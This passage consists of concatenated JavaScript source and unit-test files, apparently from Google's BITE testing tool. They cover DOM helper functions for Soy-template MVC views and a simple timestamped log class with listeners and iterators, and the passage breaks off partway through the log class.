element = bite.common.mvc.helper.getElement('z', x); assertNotNull(element); assertEquals('z', element.id); // Clean up goog.dom.removeNode(x); } /** * Test bite.common.mvc.helper.initModel */ function testInitModel() { var body = goog.dom.getDocument().body; var modelFunc = function(data) { return '<div id="' + data['name'] + '"></div>'; } var data = [{'name': 'e1'}, {'name': 'e2'}, {'name': 'e3'}]; for (i = 0, len = data.length; i < len; ++i) { bite.common.mvc.helper.initModel(modelFunc, data[i]); } var elements = []; for (i = 0, j = data.length - 1, len = body.childNodes.length; i < len && j >= 0; ++i, --j) { assertEquals(data[j]['name'], body.childNodes[i].id); elements.push(body.childNodes[i]); } // Clean up for (i = 0, len = elements.length; i < len; ++i) { goog.dom.removeNode(elements[i]); } } /** * Test bite.common.mvc.helper.initView. */ function testInitView() { var func = function(data) { return '<div id="init-view-test">' + (data['baseUrl'] || 'empty') + '</div>'; }; // Test with url var query = goog.dom.query('[id="init-view-test"]'); assertEquals(0, query.length); assertTrue(bite.common.mvc.helper.initView(func, 'testurl')); query = goog.dom.query('[id="init-view-test"]'); assertEquals(1, query.length); assertEquals('testurl', query[0].innerHTML); goog.dom.removeNode(query[0]); query = goog.dom.query('[id="init-view-test"]'); assertEquals(0, query.length); // Test with no url assertTrue(bite.common.mvc.helper.initView(func)); query = goog.dom.query('[id="init-view-test"]'); assertEquals(1, query.length); assertEquals('empty', query[0].innerHTML); goog.dom.removeNode(query[0]); query = goog.dom.query('[id="init-view-test"]'); assertEquals(0, query.length); } /** * Test bite.common.mvc.helper.removeElementById */ function testRemoveElementById() { var body = goog.dom.getDocument().body; // Remove with no matching id. try { bite.common.mvc.helper.removeElementById('fail'); } catch (error) { fail(error); } var x = goog.dom.createElement(goog.dom.TagName.DIV); var y = goog.dom.createElement(goog.dom.TagName.DIV); var z = goog.dom.createElement(goog.dom.TagName.DIV); x.id = 'x'; y.id = 'x'; z.id = 'x'; // Remove single instance of an element with the given id. goog.dom.appendChild(body, x); var query = goog.dom.query('[id="x"]'); assertEquals(1, query.length); bite.common.mvc.helper.removeElementById('x'); query = goog.dom.query('[id="x"]'); assertEquals(0, query.length); // Remove multiple instances of an element with the given id. goog.dom.appendChild(body, x); goog.dom.appendChild(body, y); goog.dom.appendChild(body, z); var query = goog.dom.query('[id="x"]'); assertEquals(3, query.length); bite.common.mvc.helper.removeElementById('x'); query = goog.dom.query('[id="x"]'); assertEquals(0, query.length); } /** * Test bite.common.mvc.helper.validateName */ function testValidateName() { var name = ''; // Test empty string assertFalse(bite.common.mvc.helper.validateName(name)); // Test bad values name = '_'; assertFalse(bite.common.mvc.helper.validateName(name)); name = '_a'; assertFalse(bite.common.mvc.helper.validateName(name)); name = '1'; assertFalse(bite.common.mvc.helper.validateName(name)); name = '1a'; assertFalse(bite.common.mvc.helper.validateName(name)); name = 'a b'; assertFalse(bite.common.mvc.helper.validateName(name)); name = 'a.txt'; assertFalse(bite.common.mvc.helper.validateName(name)); // Test valid values name = 'a'; assertTrue(bite.common.mvc.helper.validateName(name)); name = 'a1_'; assertTrue(bite.common.mvc.helper.validateName(name)); name = 'a_1'; assertTrue(bite.common.mvc.helper.validateName(name)); name = 'very_long_name'; assertTrue(bite.common.mvc.helper.validateName(name)); }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Define the helper functions for MVCs (Model/View/Controls). * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.common.mvc.helper'); goog.require('goog.dom'); goog.require('goog.dom.TagName'); goog.require('goog.dom.query'); goog.require('soy'); /** * Takes an object whose keys are element ids, looks up each element, and * sets the key's value in the object to that element or null if the element * was not found or there was more than one. Returns false if an element was * assigned null. It also assumes that each id is unique in the opt_srcElement * (defaults to the document if not given). * * Note that goog.dom.query is used instead of goog.dom.getElement because * getElement assumes the elements are already part of the document. Query * can search relative to an element even if it is not in the document. Plus * it is a targeted search rather than over the whole document. * @param {Object.<string, Element>} inout_idToElementMap An object containing * an element id. This function will look up the element by id and * set the object's value to that element. If the element is not found * or there is more than one then null is assigned as the value. * @param {!Element=} opt_srcElement The opt_srcElement to use when looking up * the id. If an element is not given then the document will be used. * @return {boolean} Whether or not all the ids were found. */ bite.common.mvc.helper.bulkGetElementById = function(inout_idToElementMap, opt_srcElement) { var src = opt_srcElement || goog.dom.getDocument(); // srcId will only be assigned if src is an Element thus guaranteeing that // only elements are returned by this function. var srcId = 'id' in src && opt_srcElement ? src['id'] : ''; var success = true; for (var elementId in inout_idToElementMap) { if (srcId && elementId == srcId) { inout_idToElementMap[elementId] = /** @type {Element} */ (src); continue; } var id = '[id="' + elementId + '"]'; var query = goog.dom.query(id, src); if (query.length != 1) { inout_idToElementMap[elementId] = null; success = false; continue; } inout_idToElementMap[elementId] = query[0]; } return success; }; /** * Takes an id and a source element and retrieves the element with that id. * The intent is to provide the same general functionality as * goog.dom.getElement(), but to allow a targeted search rather than searching * the entire document for an element. * @param {string} id The element id to search for. * @param {!Element} srcElement The element from which to start the search. * @return {Element} Return either the element or null. Null will also be * returned in multiple elements with the same id are found. */ bite.common.mvc.helper.getElement = function(id, srcElement) { var query = goog.dom.query('[id="' + id + '"]', srcElement); if (query.length != 1) { return null; } return query[0]; }; /** * Creates the model and adds it to the document's body. * @param {function((Object|null|undefined), * (goog.string.StringBuffer|null|undefined)): * (string|undefined)} getModelFunc The soy template function * that creates the console's model. * @param {Object.<string>=} opt_data Optional data that can be passed to the * template function. * @return {Element} Return the element or null on failure. */ bite.common.mvc.helper.initModel = function(getModelFunc, opt_data) { var element = bite.common.mvc.helper.renderModel(getModelFunc, opt_data); if (!element) { return null; } var body = goog.dom.getDocument().body; // Note that goog.dom.getFirstElementChild does not recognize certain node // types such as #text nodes. So manually get first child. var child = body.firstChild || null; if (!child) { goog.dom.appendChild(body, element); } else { goog.dom.insertSiblingBefore(element, child); } return element; }; /** * Adds the view to the document by appending a link tag with the appropriate * css url to the head of the document. * @param {function((Object|null|undefined), * (goog.string.StringBuffer|null|undefined)): * (string|undefined)} getViewFunc The soy template function * that creates a link tag to the appropriate css. * @param {string=} opt_baseUrl The base url to use for relative references. * @return {boolean} Whether or not the procedure was a success. */ bite.common.mvc.helper.initView = function(getViewFunc, opt_baseUrl) { opt_baseUrl = opt_baseUrl || ''; // Prepare style tag and get first head element. var style = soy.renderAsElement(getViewFunc, {'baseUrl': opt_baseUrl}); var headResults = goog.dom.getElementsByTagNameAndClass( goog.dom.TagName.HEAD); if (!style || !headResults.length) { return false; } var head = headResults[0]; goog.dom.appendChild(head, style); return true; }; /** * Removes all element instances with the given id. * @param {string} id The element id to search for. */ bite.common.mvc.helper.removeElementById = function(id) { id = '[id="' + id + '"]'; var query = goog.dom.query(id); // Not assuming that the query results is a live/dynamic node list versus // a static one, so copy references before removing them from the document. var element = []; for (var i = 0, len = query.length; i < len; ++i) { element.push(query[i]); } for (var i = 0, len = element.length; i < len; ++i) { goog.dom.removeNode(element[i]); } }; /** * Generate an element using a soy template. * @param {function((Object|null|undefined), * (goog.string.StringBuffer|null|undefined)): * (string|undefined)} getModelFunc The soy template function * that creates the console's model. * @param {Object.<string>=} opt_data Optional data that can be passed to the * template function. * @return {Element} Return the element or null on failure. */ bite.common.mvc.helper.renderModel = function(getModelFunc, opt_data) { var element = soy.renderAsElement(getModelFunc, opt_data); if (!element) { return null; } return element; }; /** * Generate an element using a soy template and the specified tag. * @param {string} tag The tag name of the created element. * @param {function((Object|null|undefined), * (goog.string.StringBuffer|null|undefined)): * (string|undefined)} getModelFunc The soy template function * that creates the console's model. * @param {Object.<string>=} opt_data Optional data that can be passed to the * template function. * @return {Element} Return the element or null on failure. */ bite.common.mvc.helper.renderModelAs = function(tag, getModelFunc, opt_data) { var element = goog.dom.createElement(tag); if (!element) { return null; } soy.renderElement(element, getModelFunc, opt_data); return element; }; /** * Modify the given element's innerHTML to the string returned by the soy * template. * @param {Element} element The element to add the model to. * @param {function((Object|null|undefined), * (goog.string.StringBuffer|null|undefined)): * (string|undefined)} getModelFunc The soy template function * that creates the console's model. * @param {Object.<string>=} opt_data Optional data that can be passed to the * template function. * @return {boolean} Whether or not success occurred. */ bite.common.mvc.helper.renderModelFor = function(element, getModelFunc, opt_data) { if (!element) { return false; } soy.renderElement(element, getModelFunc, opt_data); return true; }; /** * Validates a specific kind of name that has a limited character set. The * names follow the rules such that it must begin with a letter and then * can contain any letter, number, or underscore. This is useful for naming * things such as project labels, files, test names, etc. * TODO (jasonstredwick): This function probably does not belong here. * examine its usefulness and move it where appropriate. * TODO (jasonstredwick): This function does not take into account non-ascii * names. Consider making a string helper that handles these types of * externally facing, user entered names. * @param {string} name The name to validate. * @return {boolean} Whether or not the name input value is valid. */ bite.common.mvc.helper.validateName = function(name) { return /^[a-zA-Z][a-zA-Z0-9_]*$/.test(name); };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Unit tests for bite.common.log.Simple. * * Note that tests make use of the entryTest function for validating entry * objects. This function requires an object containing expected values. If a * key is present but the value is undefined in the expected values object then * that key is considered a don't care. (This also assumes that the log does * not add key/value pairs if the value is undefined) If the key is not * present in the expected values object then a fail assertion occurs. The * reason for this assertion is to ensure that changes to the entry object are * noted by the unit tester and not overlooked. * * Test cases: * testChangeMaxEntriesWithLessThenAddEntry * testChangeMaxEntriesWithLess * testChangeMaxEntriesWithEqual * testChangeMaxExtriesWithMore * testMaxEntries * testClearWithMultipleEntries * testClearWithOneEntry * testReattachListener * testSingleListener * testEntryTimeOrder * testAddMultipleEntries * testAddOneEntry * testNoEntries * testConstructorInputs * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.require('bite.common.log.Simple'); /** * The log created and destroyed for each test. * @type {bite.common.log.Simple} */ var logToTest = null; /** * Alias to the key names for the log. Creating this alias will help general * the testing done for the log so that future logs can refactor this code for * a more general testing solution. * @type {!Object} */ var LOG_KEY_NAME = bite.common.log.Simple.KeyName; /** * Sets up the environment for each unit test. */ function setUp() { logToTest = new bite.common.log.Simple(); } /** * Cleans up the environment for each unit test. */ function tearDown() { logToTest = null; } /** * Called when the log fires a signal and is passed entry object. The function * will loop over all known log keys and compare the expected value with the * given value. If the values are not equal an assert will occur. An assert * will also occur if a known key is missing. * @param {string} msg A message to be displayed by the assert. * @param {bite.common.log.Simple.Entry} expectedValues An entry object * containing the expected values in the entry. All undefined but present * keys are considered "don't cares". * @param {?bite.common.log.Simple.Entry=} entry The log entry to validate. */ function entryTest(msg, expectedValues, entry) { if (entry == null || entry == undefined) { fail(msg + ' Entry not provided.'); } for (var keyId in LOG_KEY_NAME) { var key = LOG_KEY_NAME[keyId]; // Skip keys if they exist and have an undefined value. if (key in expectedValues && expectedValues[key] == undefined) { continue; } msg = msg + ' [' + key + '].'; if (!(key in expectedValues)) { fail(msg + ' Missing expected value for comparison.'); } msg = msg + ' : ' + expectedValues[key] + ' = ' + entry[key] + ' : '; assertEquals(msg, expectedValues[key], entry[key]); } } /** * Generates an object containing all the known keys in a log entry set as * don't cares. The object also contains a counter for tracking how many times * the callback has fired. * @return {!Object} An object containing don't care values for all known keys, * and a counter. */ function getDefaultExpectedValues() { var obj = {}; obj[LOG_KEY_NAME.TIMESTAMP] = undefined; obj[LOG_KEY_NAME.VALUE] = undefined; return obj; } /** * Tests changing max entries for the log where the number of entries is less * than the new maximum. Then make sure that adding a new entry gives the * correct information. */ function testChangeMaxEntriesWithLessThenAddEntry() { var testName = 'testChangeMaxEntriesWithLessThenAddEntry'; logToTest.add('entry1'); logToTest.add('entry2'); logToTest.add('entry3'); // Change max entries to two while there are currently three entries in the // log. This should cut off the first entry, so the newest entry should be // the only one left. logToTest.setMaxEntries(2); // Add a forth entry logToTest.add('entry4'); // Check that only two entries are in the log, and are the correct entries. var expectedValues = getDefaultExpectedValues(); iter = logToTest.getIterOldToNew(); entryObj = iter(); expectedValues[LOG_KEY_NAME.VALUE] = 'entry3'; entryTest(testName, expectedValues, entryObj); entryObj = iter(); expectedValues[LOG_KEY_NAME.VALUE] = 'entry4'; entryTest(testName, expectedValues, entryObj); assertNull(iter()); // Test access to newest entry is correct. entryObj = logToTest.getNewestEntry(); entryTest(testName, expectedValues, entryObj); assertNotEquals(testName, '-1', entryObj[LOG_KEY_NAME.TIMESTAMP]); } /** * Tests changing max entries for the log where the number of entries is less * than the new maximum. */ function testChangeMaxEntriesWithLess() { var testName = 'testChangeMaxEntriesWithLess'; logToTest.add('entry1'); logToTest.add('entry2'); var expectedValues = getDefaultExpectedValues(); expectedValues[LOG_KEY_NAME.VALUE] = 'entry2'; // Check that only one entry is in the log, and it is the correct entry. var iter = logToTest.getIterNewToOld(); var entryObj = iter(); entryTest(testName, expectedValues, entryObj); assertNotNull(iter()); assertNull(iter()); // Test access to newest entry is correct. entryObj = logToTest.getNewestEntry(); entryTest(testName, expectedValues, entryObj); assertNotEquals(testName, '-1', entryObj[LOG_KEY_NAME.TIMESTAMP]); // Change max entries to one while there are currently two entries in the // log. This should cut off the first entry, so the newest entry should be // the only one left. logToTest.setMaxEntries(1); // Check that only one entry is in the log, and it is the correct entry. iter = logToTest.getIterNewToOld(); entryObj = iter(); entryTest(testName, expectedValues, entryObj); assertNull(iter()); // Test access to newest entry is correct. entryObj = logToTest.getNewestEntry(); entryTest(testName, expectedValues, entryObj); assertNotEquals(testName, '-1', entryObj[LOG_KEY_NAME.TIMESTAMP]); } /** * Tests changing max entries for the log where the number of entries is equal * to the new maximum. */ function testChangeMaxEntriesWithEqual() { var testName = 'testChangeMaxEntriesWithEqual'; logToTest.add('entry1'); logToTest.add('entry2'); var expectedValues = getDefaultExpectedValues(); expectedValues[LOG_KEY_NAME.VALUE] = 'entry2'; // Check that only one entry is in the log, and it is the correct entry. var iter = logToTest.getIterNewToOld(); var entryObj = iter(); entryTest(testName, expectedValues, entryObj); assertNotNull(iter()); assertNull(iter()); // Test access to newest entry is correct. entryObj = logToTest.getNewestEntry(); entryTest(testName, expectedValues, entryObj); assertNotEquals(testName, '-1', entryObj[LOG_KEY_NAME.TIMESTAMP]); // Change max entries to two while there are currently two entries in the // log. logToTest.setMaxEntries(2); // Check that only one entry is in the log, and it is the correct entry. iter = logToTest.getIterNewToOld(); entryObj = iter(); entryTest(testName, expectedValues, entryObj); assertNotNull(iter()); assertNull(iter()); // Test access to newest entry is correct. entryObj = logToTest.getNewestEntry(); entryTest(testName, expectedValues, entryObj); assertNotEquals(testName, '-1', entryObj[LOG_KEY_NAME.TIMESTAMP]); } /** * Tests changing max entries for the log where the number of entries is still * less than the new maximum. */ function testChangeMaxEntriesWithMore() { var testName = 'testChangeMaxEntriesWithMore'; logToTest.add('entry1'); logToTest.add('entry2'); var expectedValues = getDefaultExpectedValues(); expectedValues[LOG_KEY_NAME.VALUE] = 'entry2'; // Check that only one entry is in the log, and it is the correct entry. var iter = logToTest.getIterNewToOld(); var entryObj = iter(); entryTest(testName, expectedValues, entryObj); assertNotNull(iter()); assertNull(iter()); // Test access to newest entry is correct. entryObj = logToTest.getNewestEntry(); entryTest(testName, expectedValues, entryObj); assertNotEquals(testName, '-1', entryObj[LOG_KEY_NAME.TIMESTAMP]); // Change max entries to three while there are currently two entries in the // log. logToTest.setMaxEntries(3); // Check that only one entry is in the log, and it is the correct entry. iter = logToTest.getIterNewToOld(); entryObj = iter(); entryTest(testName, expectedValues, entryObj); assertNotNull(iter()); assertNull(iter()); // Test access to newest entry is correct. entryObj = logToTest.getNewestEntry(); entryTest(testName, expectedValues, entryObj); assertNotEquals(testName, '-1', entryObj[LOG_KEY_NAME.TIMESTAMP]); } /** * Tests that max entries restricts the number of entries the log can hold. */ function testMaxEntries() { var testName = 'testMaxEntries'; logToTest = new bite.common.log.Simple(1); logToTest.add('entry1'); logToTest.add('entry2'); var expectedValues = getDefaultExpectedValues(); expectedValues[LOG_KEY_NAME.VALUE] = 'entry2'; // Check that only one entry is in the log, and it is the correct entry. var iter = logToTest.getIterNewToOld(); var entryObj = iter(); entryTest(testName, expectedValues, entryObj); assertNull(iter()); // Test access to newest entry is correct. entryObj = logToTest.getNewestEntry(); entryTest(testName, expectedValues, entryObj); assertNotEquals(testName, '-1', entryObj[LOG_KEY_NAME.TIMESTAMP]); } /** * Tests that entry access returns null after clearing a log with multiple * entries. Other tests ensure that access works properly. */ function testClearWithMultipleEntries() { for (var i = 1; i <= 4; ++i) { logToTest.add('entry' + i); } logToTest.clear(); // Accessing newest. assertNull(logToTest.getNewestEntry()); // Accessing through new to old iterator. iter = logToTest.getIterNewToOld(); assertNull(iter()); // Accessing through old to new iterator. iter = logToTest.getIterOldToNew(); assertNull(iter()); } /** * Tests that entry access returns null after clearing a log with a single * entry. Other tests ensure that access works properly. */ function testClearWithOneEntry() { logToTest.add('entry'); logToTest.clear(); // Accessing newest. assertNull(logToTest.getNewestEntry()); // Accessing through new to old iterator. iter = logToTest.getIterNewToOld(); assertNull(iter()); // Accessing through old to new iterator. iter = logToTest.getIterOldToNew(); assertNull(iter()); } /** * Tests reattaching the same listener between log entries. The test also * ensures the listener is attached when entries are logged before adding * listeners. */ function testReattachListener() { var testName = 'testReattachListener'; var counter = 0; var expectedValues = getDefaultExpectedValues(); var callback = function(entry) { entryTest(testName, expectedValues, entry); ++counter; }; logToTest.add('entry1'); logToTest.addListener(callback); assertTrue(logToTest.hasListener(callback)); logToTest.add('entry2'); logToTest.removeListener(callback); assertFalse(logToTest.hasListener(callback)); logToTest.add('entry3'); logToTest.addListener(callback); assertTrue(logToTest.hasListener(callback)); logToTest.add('entry4'); logToTest.removeListener(callback); assertFalse(logToTest.hasListener(callback)); logToTest.add('entry5'); assertEquals(2, counter); } /** * Tests attaching a single listener to a log. The test ensures the listener * is fired the correct number of times. The scenario adds three entries with * the listener attached followed by another entry after the listener is * removed. */ function testSingleListener() { var testName = 'testSingleListener'; var counter = 0; var expectedValues = getDefaultExpectedValues(); var callback = function(entry) { entryTest(testName, expectedValues, entry); ++counter; }; logToTest.addListener(callback); var entry; for (var i = 1; i <= 3; ++i) { entry = 'entry' + i; expectedValues[LOG_KEY_NAME.VALUE] = entry; logToTest.add(entry); } logToTest.removeListener(callback); logToTest.add('entry4'); // Ensure the callback was only fired three times as the listener was removed // after the third log entry. assertEquals(3, counter); } /** * Tests that entry order are chronological based on timestamps. In * testAddMultipleEntries, entry order was verified by the iterators relative * to the order added. Thus, this test only needs to check that the order is * chronological. */ function testEntryTimeOrder() { var testName = 'testEntryOrder'; var t = -1; var entry; for (var i = 1; i <= 4; ++i) { entry = 'entry' + i; logToTest.add(entry); // Test timestamp for the newest is greater than the previous entry. var entryObj = logToTest.getNewestEntry(); assertTrue(testName, t <= entryObj[LOG_KEY_NAME.TIMESTAMP]); t = entryObj[LOG_KEY_NAME.TIMESTAMP]; // Hope to get a small difference to appear in the timestamps, but not // guaranteed. Do not want to use asynchronous timeout in the unit test. // Doesn't invalidate test if a pause doesn't occur. for (var pause = 0; pause < 100000; ++pause); } } /** * Tests the addition of multiple entries; four was arbitrarily chosen for * this scenario. The test also examines entry access and order. Timestamps * are checked in testEntryTimeOrder(). */ function testAddMultipleEntries() { var testName = 'testAddMultipleEntries'; var expectedValues = getDefaultExpectedValues(); // expectedValues will represent the last entry after the loop. var entry; for (var i = 1; i <= 4; ++i) { entry = 'entry' + i; expectedValues[LOG_KEY_NAME.VALUE] = entry; logToTest.add(entry); } var finalEntryValue = entry; // Test access to newest entry. var entryObj = logToTest.getNewestEntry(); entryTest(testName, expectedValues, entryObj); assertNotEquals(testName, '-1', entryObj[LOG_KEY_NAME.TIMESTAMP]); // Test Iterators. var iter = logToTest.getIterNewToOld(); for (i = 4; i >= 1; --i) { expectedValues[LOG_KEY_NAME.VALUE] = 'entry' + i; entryObj = iter(); // entry[4-1] entryTest(testName + i + 'NTO', expectedValues, entryObj); // Test the value of the first entry accessed; entry4 expected. if (i == 4) { assertEquals('IterNewToOld - checking entry value.', finalEntryValue, entryObj[LOG_KEY_NAME.VALUE]); } } assertNull(iter()); iter = logToTest.getIterOldToNew(); for (i = 1; i <= 4; ++i) { entryObj = iter(); // entry[1-4] expectedValues[LOG_KEY_NAME.VALUE] = 'entry' + i; entryTest(testName + i + 'OTN', expectedValues, entryObj); // Test the value of the first entry accessed; entry4 expected. if (i == 4) { assertEquals('IterOldToNew - checking entry value.', finalEntryValue, entryObj[LOG_KEY_NAME.VALUE]); } } assertNull(iter()); } /** * Tests the addition of a single entry and access to that entry. */ function testAddOneEntry() { var testName = 'testAddOneEntry'; var expectedValues = getDefaultExpectedValues(); var entry = 'entry1'; expectedValues[LOG_KEY_NAME.VALUE] = entry; logToTest.add(entry); // Test access to newest entry. var entryObj = logToTest.getNewestEntry(); entryTest(testName, expectedValues, entryObj); assertNotEquals(testName, '-1', entryObj[LOG_KEY_NAME.TIMESTAMP]); // Test iterators; expect one entry object followed by a null result. var iter = logToTest.getIterNewToOld(); entryObj = iter(); entryTest(testName, expectedValues, entryObj); assertNull(iter()); iter = logToTest.getIterOldToNew(); entryObj = iter(); entryTest(testName, expectedValues, entryObj); assertNull(iter()); } /** * Tests an empty log that ensures basic functionality works properly and does * not throw exceptions when the log is empty. Max entries does not need to be * checked in this situation because it is tested in testConstructorInputs(). * Signals are checked int testListeners. */ function testNoEntries() { var testName = 'testNoEntries'; var counter = 0; var expectedValues = getDefaultExpectedValues(); var callback = function() { ++counter; }; // Test entry access. assertNull(logToTest.getNewestEntry()); // Test iterators; expect null result from empty log. var iter = logToTest.getIterNewToOld(); assertNull(iter()); iter = logToTest.getIterOldToNew(); assertNull(iter()); // Test add/remove of listeners assertFalse(logToTest.hasListener(callback)); logToTest.addListener(callback); assertTrue(logToTest.hasListener(callback)); logToTest.removeListener(callback); assertFalse(logToTest.hasListener(callback)); assertEquals(0, counter); // Ensure the listener was never fired. // Test clear logToTest.clear(); } /** * Tests constructor inputs to ensure the correct initial values are assigned * internally. */ function testConstructorInputs() { assertEquals(bite.common.log.Simple.DEFAULT_MAX_ENTRIES, logToTest.getMaxEntries()); logToTest = new bite.common.log.Simple(0); assertEquals(bite.common.log.Simple.DEFAULT_MAX_ENTRIES, logToTest.getMaxEntries()); logToTest = new bite.common.log.Simple(-1); assertEquals(bite.common.log.Simple.DEFAULT_MAX_ENTRIES, logToTest.getMaxEntries()); logToTest = new bite.common.log.Simple(1); assertEquals(1, logToTest.getMaxEntries()); }
JavaScript
// Copyright 2010 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview The Simple class defines a type of log class to store and * retrieve units of information in string form. Each new entry is assigned a * timestamp and stored in order. Internally a queue exists where new entries * enter one side and old entries drop off the other, but only when the maximum * is reach. The class also has a few different methods of retrieving log * information from a iterator-like function to allowing listeners to register * and be signalled whenever a new entry is logged. * * The purpose of the Simple log class is to provide a method of recording * information without specifying an output source. Other JavaScript code can * then tap into the log to retrieve information and output it to the * appropriate location. * * Notice that all the public functions are not exported. That is left to the * user to either export the properties or create an object that maps to the * correct namespace. * * Public Interface: * bite.common.log.Simple(opt_maxEntries) (constructor) - Constructs a Simple * log object. See the file overview for more details. * * Public prototype functions for bite.common.log.Simple: * add(string) - Add a new entry (string) to the log. * clear() - Clear the log; removes all current log entries. * getNewestEntry() - Returns the newest entry or null if there are no * entries. * getMaxEntries() - Returns the maximum number of entries the log can hold. * setMaxEntries(newMaxEntries) - Changes the maximum number of entries the * log can support. * * addListener(callback) - Add a new listener to the log that will be * notified when new entries are added. * hasListener(callback) - Returns whether or not the given callback is * currently a listener on this log. * removeListener(callback) - Removes the given callback as a listener on * this log. * * getIterNewToOld() - Get a function that iterates over the log entries from * newest to oldest. * getIterOldToNew() - Get a function that iterates over the log entries from * oldest to newest. * * Usage: * var keyName = bite.common.log.Simple.KeyName; * var callback = function(entry) { console.log(entry[keyName.VALUE]); } * * var log = new bite.common.log.Simple(); * * log.addListener(callback); * log.add('entry1'); // Console will display 'entry1' due to callback. * log.add('entry2'); // Console will display 'entry2' due to callback. * * var entry = log.getNewestEntry(); * console.log(entry[keyName.VALUE]); // Console will display 'entry2'. * * var iter = log.getIterOldToNew(); * // Console will display 'entry1' then 'entry2'. * while (entry = iter()) { * console.log(entry[keyName.VALUE]); * } * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.common.log.Simple'); goog.require('bite.common.signal.Simple'); goog.require('goog.date.Date'); /** * Constructs a new Simple log object that can store strings with a timestamp. * @param {number=} opt_maxEntries The number of entries the log can store * before entries are dropped. * @constructor */ bite.common.log.Simple = function(opt_maxEntries) { /** * The maximum number of entries the log can hold before it will start * dropping old entries. * @type {number} * @private */ this.maxEntries_ = opt_maxEntries && opt_maxEntries > 0 ? opt_maxEntries : bite.common.log.Simple.DEFAULT_MAX_ENTRIES; /** * An array of entries. * @type {!Array.<!bite.common.log.Simple.Entry>} * @private */ this.entries_ = []; /** * A signal object used to track those who want to listen to the log as it * is created and signal when it has changed. * @type {!bite.common.signal.Simple} * @private */ this.signal_ = new bite.common.signal.Simple(); }; /** * For each entry, the timestamp is an integer in milliseconds. Also, each * entry will be explicit strings for uses external to this code. * @typedef {{timestamp: number, value: string}} */ bite.common.log.Simple.Entry; /** * The default maximum number of entries the log can contain. * @type {number} */ bite.common.log.Simple.DEFAULT_MAX_ENTRIES = 10000; /** * Key names for the entry object. * @enum {string} */ bite.common.log.Simple.KeyName = { TIMESTAMP: 'timestamp', VALUE: 'value' }; /** * Add a new entry to the log. The entry will be timestamped using * Date.getTime. * @param {string} value The string to log. */ bite.common.log.Simple.prototype.add = function(value) { var time; try { time = new goog.date.Date().getTime(); } catch (error) { time = -1; } // Make sure there is room in the queue. if (this.entries_.length + 1 > this.maxEntries_) { this.entries_.shift(); } // Preserve the key names for external use. var entry = {}; entry[bite.common.log.Simple.KeyName.TIMESTAMP] = time; entry[bite.common.log.Simple.KeyName.VALUE] = value; this.entries_.push(entry); // Let listeners know a new entry was logged. this.signal_.fire(entry); }; /** * Adds a callback to the log's bite.common.signal.Simple object, which will be * fired when a new entry is added. * @param {function(!bite.common.log.Simple.Entry)} callback The callback to be * fired. */ bite.common.log.Simple.prototype.addListener = function(callback) { this.signal_.addListener(/** @type {function(...[*])} */ (callback)); }; /** * Clear the log. */ bite.common.log.Simple.prototype.clear = function() { this.entries_ = []; }; /** * Creates the iterator function used by getIterNew and getIterOld. The * function returned will move through the array of entries and will return * null when it has passed the Array boundary. * @param {number} index The index to start with. * @param {number} delta How many entries to move forward when the iterator is * called. * @return {function(): bite.common.log.Simple.Entry} A function that acts like * an iterator over the log. * @private */ bite.common.log.Simple.prototype.getIterFunc_ = function(index, delta) { var iter = goog.partial(function(entries) { if (index < 0 || index >= entries.length) { index = -1; return null; } var data = entries[index]; index += delta; return data; }, this.entries_); return iter; }; /** * Returns a function that starts at the newest entry and when called will * return the current entry and move to the next entry. When the last entry is * reached the function will start returning null. If changes to the state of * the log occur while this function exists then it can alter its behavior * though it will never recover once the end of the list is reached. * @return {function(): bite.common.log.Simple.Entry} A function that acts like * an iterator over the log from newest to oldest. */ bite.common.log.Simple.prototype.getIterNewToOld = function() { return this.getIterFunc_(this.entries_.length - 1, -1); }; /** * Returns a function that starts at the oldest entry and when called will * return the current entry and move to the next entry. When the last entry is * reached the function will start returning null. If changes to the state of * the log occur while this function exists then it can alter its behavior * though it will never recover once the end of the list is reached. * @return {function(): bite.common.log.Simple.Entry} A function that acts like * an iterator over the log from oldest to newest. */ bite.common.log.Simple.prototype.getIterOldToNew = function() { return this.getIterFunc_(0, 1); }; /** * Returns the maximum number of entries that can be recorded. * @return {number} The max number of entries. */ bite.common.log.Simple.prototype.getMaxEntries = function() { return this.maxEntries_; }; /** * Returns the newest entry in the list or null if there are no entries. * @return {?bite.common.log.Simple.Entry} The newest entry or null if there * are no entries. */ bite.common.log.Simple.prototype.getNewestEntry = function() { if (this.entries_.length == 0) { return null; } return this.entries_[this.entries_.length - 1]; }; /** * Determine if the given callback is listeneing. * @param {function(!bite.common.log.Simple.Entry)} callback The callback to be * fired. * @return {boolean} Whether or not the callback is listening. */ bite.common.log.Simple.prototype.hasListener = function(callback) { return this.signal_.hasListener(/** @type {function(...[*])} */ (callback)); }; /** * Removes a callback from the log's bite.common.signal.Simple object. * @param {function(!bite.common.log.Simple.Entry)} callback The callback to be * fired. */ bite.common.log.Simple.prototype.removeListener = function(callback) { this.signal_.removeListener(/** @type {function(...[*])} */ (callback)); }; /** * Change the maximum number of entries that can be logged. newMax is ignored * if it is less than or equal to zero, or is the same as the current max * entries. If the new max entries is less than the current number of entries * then the oldest entries will be removed to make the queue equal to the new * maximum. * @param {number} newMax The new maximum number of entries to allow. */ bite.common.log.Simple.prototype.setMaxEntries = 